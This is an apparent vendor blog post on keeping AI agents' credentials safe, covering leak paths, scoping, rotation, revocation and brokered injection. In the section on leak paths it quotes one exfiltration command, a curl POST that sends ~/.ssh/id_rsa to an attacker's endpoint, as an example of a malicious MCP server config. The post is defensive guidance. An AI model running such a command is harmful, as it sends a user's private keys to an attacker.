Classic painting used as the article cover
← Back to blog

SECURITY PATTERNS

Managing Secrets for AI Agents

Four ways to hold an agent's credential, and what a leak costs under each. Cryptoperiods from NIST SP 800-57, Vault leases, rotation that survives a running workflow, and why revoking is two steps.

•Jul 27, 2026•Updated Oct 13, 2026•15 min
SecretsCredentialsSecurity

TL;DR

Most agent secret failures are not sophisticated attacks. They are a credential sitting somewhere it was never supposed to reach, with no expiry date on it.

Google says of its own key format that service-account keys "don't have an expiry time and stay valid until you delete them", and that holding the private key "is similar to knowing a user's password". MITRE rates hard-coded credentials, CWE-798, as High likelihood of exploit, partly because the password "usually cannot be changed or disabled by system administrators without manually modifying the program".

The common framing treats a secret as plumbing, wired once and forgotten. For an agent that is backwards. The secret is the blast radius: whatever the credential reaches, the agent reaches, on its own initiative, at any hour.

We are not claiming more approval steps would help. A narrower door and a shorter clock would. NIST's key-management guidance exists precisely to bound how long a compromise stays useful.

Start with two changes. Give every agent credential an expiry, even an arbitrary one, so that "forever" stops being the default. And make the agent's reasoning loop unable to read the raw value, because the moment it can, the value is in a transcript.

Overview

Every useful agent depends on secrets. A token for the ERP to reconcile invoices, a key for the service desk to resolve a ticket, credentials for the CRM to enrich a lead. A secret is any sensitive value that unlocks a system: an API key, an OAuth token, a database password, a signing key, a service-account credential, a webhook secret.

Why an agent needs a credential structurally its own, distinct from a person's, is covered separately in agent credentials versus human credentials. This post assumes that and asks the narrower question: once an agent has a credential, what stops the secret behind it from being the cheapest way to compromise the agent?

The answer is not one control. It is a handful of disciplines, and skipping any one quietly reopens the door the others closed. What makes them work is being defaults of the platform rather than habits an engineer has to remember per agent.

We think secrets stop being plumbing the moment an agent holds them. The blast radius of a leaked or over-scoped credential is exactly the blast radius of the agent holding it.

Where Secrets Leak

The first discipline is keeping secrets out of the places they drift toward. With agents those places multiply, because so much of an agent's behaviour is expressed as text, and text gets logged, copied and shared.

  • Prompts and tool descriptions. Anything the model can read, a prompt-injection attempt can try to extract, and it lands in transcripts and traces on the way. OWASP's LLM02:2025 entry lists "security credentials" among the sensitive data classes that leak through model output. In fairness, that entry is about disclosure generally rather than about secrets in system prompts specifically.
  • Environment variables. This is the one people underrate, and MCP puts it front and centre: stdio-transport servers "SHOULD NOT" follow the OAuth flow and should "instead retrieve credentials from the environment". That is a reasonable design and it makes the process environment a security boundary, readable by anything running as the same user.
  • Repositories. A committed key lives in history. GitHub's own guidance on removing it starts by telling you not to bother first: "if the sensitive data you need to remove is a secret (e.g. password/token/credential) ... then as a first step you need to revoke and/or rotate that secret." Even after a rewrite the old commits remain reachable in forks and clones, and "directly via their SHA-1 hashes in cached views on GitHub".
  • Hard-coded values. CWE-798 carries a High likelihood of exploit, and MITRE's reasoning is operational rather than cryptographic: "extraction of a password from a binary is usually very simple", and once shipped, "all installations of the product will have the same password, even across different organizations".

There is a newer path worth naming because agents introduced it. MCP's security guidance documents local-server compromise, where a malicious one-click server configuration runs an arbitrary startup command. Its own illustrative example is curl -X POST -d @~/.ssh/id_rsa to an attacker's endpoint. The secret in that scenario was never in a prompt or a repo. It was on disk, and the agent's tooling had shell access.

The alternative is not complicated. Store secrets in a secrets manager and retrieve them only when needed, ideally through a broker that injects the credential into the outbound call so the raw value never enters the agent's reasoning loop. The agent should know it can reach payroll. It should not know payroll's password.

A secret

Pasted into a prompt

Committed to a repo

Exported as an env var

Pasted into chat or a wiki

Stored in a vault

Logged, copied,
indexed, forgotten

Broker injects it
at call time

Agent's reasoning loop
never sees the raw value

logged, copied, indexed, forgotten |-- committed to a repo ------> logged, copied, indexed, forgotten |-- exported as an env var ---> logged, copied, indexed, forgotten |-- pasted into chat/a wiki --> logged, copied, indexed, forgotten |-- stored in a vault --------> broker injects at call time --> agent never sees the raw value -->

Figure 1 — Four ordinary paths a secret drifts down, and the one that keeps it out of the agent's context.

Four Ways to Hold a Secret

Before the disciplines, the decision. There are four shapes an agent credential can take, and the choice determines what everything downstream costs. They are the four terms of the credential model dimension in the Agent Access Control Taxonomy, named in the first column below.

ModelWhat the agent seesLifetimeWhat a leak costs
Static key in config or environment, aact:credential-model/static-secret-in-agentThe raw valueNone by default. Google service-account keys "stay valid until you delete them"Everything the key reaches, until somebody notices and deletes it
Long-lived secret in a vault, fetched at use, aact:credential-model/vaulted-secret-injectedThe raw value, briefly, in memoryWhatever you set, usually monthsSame reach as above, but you know which agent fetched it and when
Dynamic secret with a lease, aact:credential-model/brokered-short-lived-tokenA generated credential for this sessionThe lease TTL. Vault "promises that the data will be valid for the given duration" and revokes it at expiryBounded by the TTL, and revocable in one call
Brokered injection at call time, aact:credential-model/credential-never-exposedNothing. A referenceThe credential never leaves the brokerThe agent's transcript holds no secret to steal

Table 1 — The choice that decides how much the other five disciplines have to carry.

The two right-hand rows are where the industry is moving, and the vendors describe the benefit in the same terms. Azure's managed identities exist because "manual handling of secrets and certificates are a known source of security issues and outages", and the pitch is blunt: "Credentials aren't even accessible to you." SPIFFE removes the bootstrap secret too, noting that with its Workload API "your application need not co-deploy any authentication secrets with the workload", and that private keys are "short lived, rotated frequently and automatically".

Brokered injection is the version that fits agents specifically, because the thing you are protecting against is not only theft from disk. It is the agent putting the value into a message, a log line or a tool argument, which no amount of storage hardening prevents.

Scoping

An agent should never receive a secret that unlocks more than it needs. Broad credentials are convenient to issue and catastrophic to lose.

Take a hypothetical procurement agent reconciling supplier statements against purchase orders. Its work is read-only across two systems. There is no reason for its credential to permit creating vendors or approving payments.

scopes:
  - purchase_orders:read
  - supplier_statements:read
resources:
  - region: eu-west
  - business_unit: procurement
expires_in: 3600s

Scoping operates on three axes at once: which actions the credential permits, which resources it covers, and how long it stays valid. MCP's security guidance names the anti-patterns directly, warning against "using wildcard or omnibus scopes (*, all, full-access)" and against publishing every possible scope as though breadth were a feature. When you cannot avoid a powerful secret, treat it as an exception requiring justification, not a default.

Separation

Development, staging and production agents must use different credentials. This sounds obvious, and it is one of the most common failures, because the fastest way to make a flaky integration work in staging is to point it at the credential that already works in production.

Picture a hypothetical analytics agent under development. An engineer is iterating on its prompts and tool calls, and it occasionally misfires with a bulk export or a heavy query. If that agent holds the production warehouse credential, a debugging session can exfiltrate live customer data. With separated credentials the worst case is a mess in a sandbox.

Separation also keeps traceability honest. When environments share a secret you cannot tell from the credential whether an action came from a tested agent or an experimental one.

Traceability

When something goes wrong the question is always the same: which agent used which secret, when, and to do what. If a secret is shared, or retrieval is anonymous, that question has no answer.

Every secret retrieval and every credentialed action should be attributable to a specific agent identity, recording the identity, the time of retrieval and use, the action and target system, and the originating user or workflow when the agent acts on someone's behalf.

Two details make this real rather than aspirational. First, log the retrieval as well as the use, because the gap between them is where an exfiltration hides. Second, synchronise clocks, which NIST's log management guide lists as an operational duty: "ensuring that each logging host's clock is synched to a common time source". An agent trace crosses your orchestrator, your broker and three providers, and without a common clock you cannot order it.

Rotation

Secrets should not live forever, and the reasoning has a name. NIST SP 800-57 calls the window a cryptoperiod, "the time span during which a specific key is authorized for use by legitimate entities", and lists what a well-chosen one buys you. Two items matter most here: it "limits the amount of exposure if a single key is compromised", and it "limits the time available for attempts to penetrate physical, procedural, and logical access mechanisms that protect a key".

NIST also supplies the honest caveat, which is the part rotation advocacy usually drops. "In general, short cryptoperiods enhance security", but where distribution is manual and "subject to human error and frailty, more frequent key changes might actually increase the risk of key exposure". OWASP's secrets-management guidance makes the same point about people: "manual maintenance not only increases the risk of leakage; it also introduces the risk of human errors while maintaining the secret." A quarterly rotation done by hand at 2am is worse than a monthly one done by a scheduler.

The agent-specific problem is that rotation must be invisible to running work. If a sales-operations agent is mid-workflow when its CRM token rotates, the rotation should not break it. AWS Secrets Manager solves this by making rotation a state machine rather than an overwrite: a rotation function is invoked four times, with create_secret, set_secret, test_secret and finish_secret, and "if any rotation step fails, Secrets Manager retries the entire rotation process". The new credential is created and tested before anything is promoted.

Dynamic secrets go further by making rotation structural. In Vault's model every dynamic secret comes with a lease carrying "a time duration, renewability, and more", and "once the lease is expired, Vault can automatically revoke the data". OWASP describes the pattern from the application's side: "when an application starts, it could request its database credentials, which, when dynamically generated, will be provided with new credentials for that session."

agent starts a task

broker generates a credential with a TTL

work still running, renew before expiry

TTL elapses

incident, or parent token revoked

Requested

Leased

Renewed

Expired

Revoked

Figure 2 — A leased credential has only two endings, and both of them are automatic.

In practice: a credential rotated daily by a scheduler is more secure and less painful than one rotated "quarterly" in theory and never in fact. Automation is what makes a rotation policy survive contact with a real team.

Revocation

Rotation is routine. Revocation is the emergency lever, and it is the discipline where confidence outruns capability most often.

When an agent is retired, compromised, or no longer needs a credential, that credential has to come out. The failure mode is boring: a hypothetical recruiting agent is replaced by a newer version, the old one is switched off, and its service-account credential is never revoked. Months later it is still valid, because keys of that class have no expiry, and nobody owns it.

"Complete" is doing real work in that sentence. Killing a credential in your own store stops your systems from presenting it. It does not invalidate the underlying token at the issuer unless you also call the issuer's revoke endpoint, and even then the guarantees are weaker than they look. RFC 7009 returns HTTP 200 "if the token has been revoked successfully or if the client submitted an invalid token", so the status code cannot distinguish success from a no-op, and Google's documentation adds that "it might take some time before the revocation has full effect". Treat clearing your copy and ending the grant as two steps, and verify both.

Leased credentials are the exception that makes the rest look bad by comparison. Vault revokes a lease in one call, which "invalidates that secret immediately and prevents any further renewals", and cascades: "when a token is revoked, Vault will revoke all leases that were created using that token." That cascade is the property you want during an incident, and it only exists if the credentials were issued through something that tracked the relationship.

Effective revocation is fast, a single action rather than a multi-team ticket, and complete, which requires knowing every credential the agent held. Revocation is the payoff for scoping, separation and traceability.

Human Access Control

Not every person who manages an agent should be able to read its secrets. The ability to grant or revoke access is a different privilege from the ability to read the value, and conflating them widens the circle of people who could leak a key. OWASP is direct about it: "engineers should not have access to all secrets in the secrets management system, and the Least Privilege principle should be applied."

A platform owner may need to authorise that a finance agent can reach the ledger. A reviewer may need to confirm the scope is appropriate. Neither needs to see the token. Owners attach credentials by reference, reviewers see scope and justification, compliance confirms controls without reading values. For most agent credentials we think the right number of humans who can read the raw value is zero, which is also the number Azure's managed identities enforce by construction.

Where Fabriq Fits

Our own approach is the fourth row of Table 1. Credentials are held per user in a vault and attached server-side at the moment of the call, so the agent never handles the value and cannot put it in a message. Refresh runs automatically behind that boundary with last-used tracking per connection, which is what makes a dormant credential visible rather than invisible. Every call carries two identities, the agent and the acting user, into the audit record alongside the scope check.

Disconnecting a connection clears our stored copy of the credential immediately. Ending the grant at the issuer is a second call, made against the provider's own endpoint, and it stays your responsibility. We would rather say that than let the word "revoked" carry more than it should.

Frequently Asked Questions

Where should an AI agent's API keys be stored? In a secrets manager, fetched at the moment of use, and ideally never handed to the agent at all. The strongest version keeps the value in a broker that attaches it to the outbound request, because then the agent's context and logs contain a reference rather than a credential.

Is it safe to put a secret in a system prompt? No. Anything the model can read can surface in a transcript, a trace or an injection attempt, and OWASP's sensitive-information-disclosure entry lists security credentials among the classes that leak this way. Treat the prompt as a public document.

What about environment variables? Better than a prompt, worse than a broker. MCP directs stdio-transport servers to "retrieve credentials from the environment", which makes the process environment part of your trust boundary, readable by anything running as the same user and captured by many crash handlers.

How often should I rotate an agent credential? Often enough that a compromise expires before it is useful, and automatically, because NIST warns that manual key changes "might actually increase the risk of key exposure". If you can move to leased credentials with a TTL, rotation stops being a schedule and becomes a property of issuance.

Do service-account keys expire? Google's do not: they "don't have an expiry time and stay valid until you delete them", which is why Google's own recommendation is to avoid user-managed keys entirely. If you must use one, give it an owner and a review date, because nothing else will.

I committed a key to a repo. What now? Revoke or rotate it first, before touching history. That is GitHub's own ordering, and the reason is that old commits stay reachable through forks, clones and "cached views on GitHub" even after a rewrite. History surgery is cleanup, not remediation.

How do I revoke a credential completely? Two steps, verified separately. Clear it from your own store, then call the issuer's revoke endpoint, and confirm with a real request afterwards rather than trusting the response code, since RFC 7009 returns 200 for both success and an invalid token.

Who should be able to read an agent's secrets? Ideally nobody. Separate the privilege to grant access from the privilege to read the value, then check that the second list is empty. A platform where credentials are injected rather than distributed makes that achievable instead of aspirational.

Conclusion

Secrets are the difference between an agent that can read a dashboard and one that can move money. They deserve to be treated as a control surface, not as configuration. Keep them out of prompts, configs, repos and, where you can, out of the agent's process entirely. Scope them narrowly. Separate them by environment. Trace every retrieval, not only every use. Give every one of them a cryptoperiod, and let a scheduler enforce it. Revoke in two steps and verify both.

If only one change is affordable this quarter, make it the credential's expiry. A secret with no expiry is a standing grant, and every other discipline on this list is working around that one fact.

Managing an agent's secrets well is the most direct way to control what the agent can actually do. A powerful secret makes a powerful actor, so the discipline applied to the credential is, in practice, the discipline applied to the agent.

Sources

All URLs read 2026-09-29.